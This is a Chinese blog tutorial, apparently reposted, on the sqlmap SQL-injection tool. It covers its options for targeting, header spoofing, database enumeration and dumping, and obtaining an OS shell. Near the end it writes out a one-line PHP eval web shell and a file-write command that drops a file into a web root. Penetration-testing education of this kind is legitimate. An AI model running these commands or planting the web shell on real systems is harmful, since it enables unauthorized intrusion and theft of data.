渗透必备工具|sqlmap

admin 2022年5月10日22:28:28评论78 views字数 3595阅读11分59秒阅读模式

今天和大家分享的是工具——sqlmap。想要获取sqlmap工具资源的小伙伴在公众号回复sqlmap自动获取即可。


Sqlmap简介

sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。


支持的数据库:MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。


sqlmap支持五种不同的注入模式:

UNION query SQL injection(可联合查询注入) 

Error-based SQL injection(报错型注入) 

Boolean-based blind SQL injection(布尔型注入) 

Time-based blind SQL injection(基于时间延迟注入) Stacked queries SQL injection(可多语句查询注入)


设置目标URL

-u  /--url

最基本格式  sqlmap  -u“http://www.target.com/index.php?id=1”

-m

从文本中获取多个目标扫描,但是每一行只能有一个url. 

sqlmap -m urllist.txt

-r

从文件中加载HTTP请求,这样的话 就不需要在去设定cookie,POST数据......等等。



设置回显等级

参数:-v 默认为1:

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认等级)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。



设置HTTP数据包相关参数

参数:--data

此参数是把data后面的数据以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数。

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"  


参数:--cookie

当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。

--cookie=”Cookie: Hm_lvt6910067,1546929561,1547001094,1547024662; PHPSESSID=o64fbvo316lg59njufl2gfutm4; ”


HTTP User-Agent头

参数:--user-agent

默认情况下sqlmap的HTTP请求头中的User-Agent值是:sqlmap/1.0-dev-xxxxxxxxx(http://sqlmap.org)

这个时候可以手动指定伪造一个User-Agent。

sqlmap  -u “http://www.target.com” --level 3 --user-agent=”aaaaaa” --dbs


参数:--random-agent  会从/usr/share/sqlmap/data/txt/user-agents.txt中随机产生User-Agent头。

sqlmap  -u “http://www.target.com” --level 3 --random-agent --dbs


sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞


HTTP Referer头

参数:--referer

sqlmap可以在请求中伪造HTTP中的referer。

sqlmap  -u “http://www.target.com/?id=1”  --referer=”http://www.baidu.com”

当--level参数设定>=3时,会尝试进行referer注入。


--delay

可以设定两个http请求间的延迟,设定为1的时候是1秒,默认是没有延迟的。


--timeout

可以设定一个http请求超过多少秒判定为超时,默认是30秒。


指定测试参数


-p ,

sqlmap 默认会测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User- Agent和HTTP Referer头的值。

例如:-p “id,user-agent”

--skip

在使用--level时,级别很大的时候,但是有些参数不能去测试,那么可以使用--skip参数跳过。

例如:--skip=”user-agent,referer”


设定探测等级

--level  (sqlmap -r 情况下)

共有五个等级,默认为1,sqlmap使用的payload可以在  xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。

level>=2的时候就会测试HTTP Cookie。

level>=3的时候就会测试HTTP User-Agent/Referer头。

level=5 的时候会测试HTTP Host。


设定探测风险等级

--risk

共有三个风险等级,1-3,

默认是1会测试大部分的测试语句,

2会增加基于时间的测试语句,

3会增加OR语句的SQL注入测试。

在有些时候,例如在UPDATE,DELETE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。


列数据

--dbs,--users,--passwords,--is-dba可以判断当前权限

--technique :指定使用哪种注入类型

速度排序=联合(U)>报错(E)>布尔(Bool)>延迟(Time)

--current-db  当前数据库

--privileges 权限

-D database_name --tables

-D database_name  -T table_name --columns

-D database_name -T table_name -C column_1,column_2  --dump

--dump-all 将整个数据库的所有数据进行打包


一些常用的参数

--users 列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

--current-user 在大多数据库中可以获取到管理数据的用户。

--is-dba   判断当前的用户是否为管理,是的话会返回True。

--privileges 当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看那个用户的权限。

--proxy 指定一个代理服务器  eg: –proxy http://local:8080

select * from users where id=((((‘???????')))) 

--prefix=PREFIX 注入payload字符串前缀

–suffix=SUFFIX 注入payload字符串后缀

eg:sqlmap -u “www.target.com/index.php?id=1” -p id --prefix “'))))” 

--suffix “AND ('1'='1”


使用shell命令

参数--os-shell

前提:需要网站的物理路径,其次是需要有FILE权限。Root权限+secure-file-priv != null

sqlmap -r “C:sqlmaprequest.txt” -p id  --dms mysql --os-shell 

接下来指定网站可写目录:

“C:www”

d:phpstudywww   (成功)

 echo ^<?php @eval($_GET['x']); ?^> >shell1.php


sqlmap -u “www.a.com/1.php?id=1” --file-write=”d:/2.txt” 

--file-dest=”E:/wwwroot/bihuoedu/one.php“


--batch 全自动

--start=开始条数 --stop=结束条数

--purge 清空缓存目录 

--sql-shell  反弹sqlshell,类似于sql查询分析器

默认路径.sqlmap (点sqlmap)


转自:安全小菜姬

侵权删!

渗透必备工具|sqlmap

渗透必备工具|sqlmap

推荐阅读   


【入门教程】常见的Web漏洞--XSS

【入门教程】常见的Web漏洞--SQL注入

sql注入--入门到进阶

短信验证码安全常见逻辑漏洞

最全常见Web安全漏洞总结及推荐解决方案

常见的Web应用的漏洞总结(原理、危害、防御)

代码审计常见漏洞总结

Web安全漏洞的靶场演示

13 款 Linux 比较实用的工具

xss攻击、绕过最全总结


渗透必备工具|sqlmap

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧

原文始发于微信公众号(编码安全研究):渗透必备工具|sqlmap

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月10日22:28:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透必备工具|sqlmaphttps://cn-sec.com/archives/994331.html

发表评论

匿名网友 填写信息